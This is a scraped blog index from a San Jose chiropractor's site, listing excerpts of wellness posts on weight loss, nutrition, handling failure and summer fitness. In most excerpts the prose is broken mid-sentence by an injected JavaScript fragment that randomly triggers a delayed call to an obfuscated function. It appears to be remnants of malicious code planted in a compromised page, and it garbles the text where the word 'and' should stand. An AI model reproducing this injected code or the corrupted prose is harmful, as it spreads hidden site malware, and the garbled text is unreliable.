san jose chiroprator

Ok, let’s talk weight loss

October , 2016

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I have coached a lot of people through the weight loss process. I know losing weight can be tough. Giving up your favorite foods. Feeling irritable when you are hungry. Hating the fact that you need to work out. But what if I told you there was a way to lose weight that would kill […]

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My Greatest Nutrition Tip

December , 2015

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There is no doubt in my mind that there is one nutrition principle above all others that we have been taught wrong. I promise you if you change the way you look at this one food, it will have a dramatic effect on your energy, weight, moods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and memory.What’s the […]

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Failure is the key to succeeding at health

December , 2015

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Ok, today we are going to talk about something I rarely write about.Failure. Be honest. How many of you have started your 45-Day Reset only to fall off because your favorite food called your name? Or maybe you were doing great on your 15-Day Detox andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then Thanksgiving pulled you […]

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The Most Crucial Step To Any Health Plan

September , 2015

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“You are the Average of the 5 People You Spend the Most Time With!” -Jim Rohn If the 5 people you spend the most time with, eat horrible, don’t work out, are unhealthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and negative, how WILL you EVER stay positive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do whatever you […]

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Ready For Your Summer Body?

June , 2015

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Summer is here! The weather is heating up, swimsuits are getting pulled out of their drawers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pretty soon we will all be walking around in our tank tops andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shorts. So ask yourself : Are you loving the body you are living in right […]

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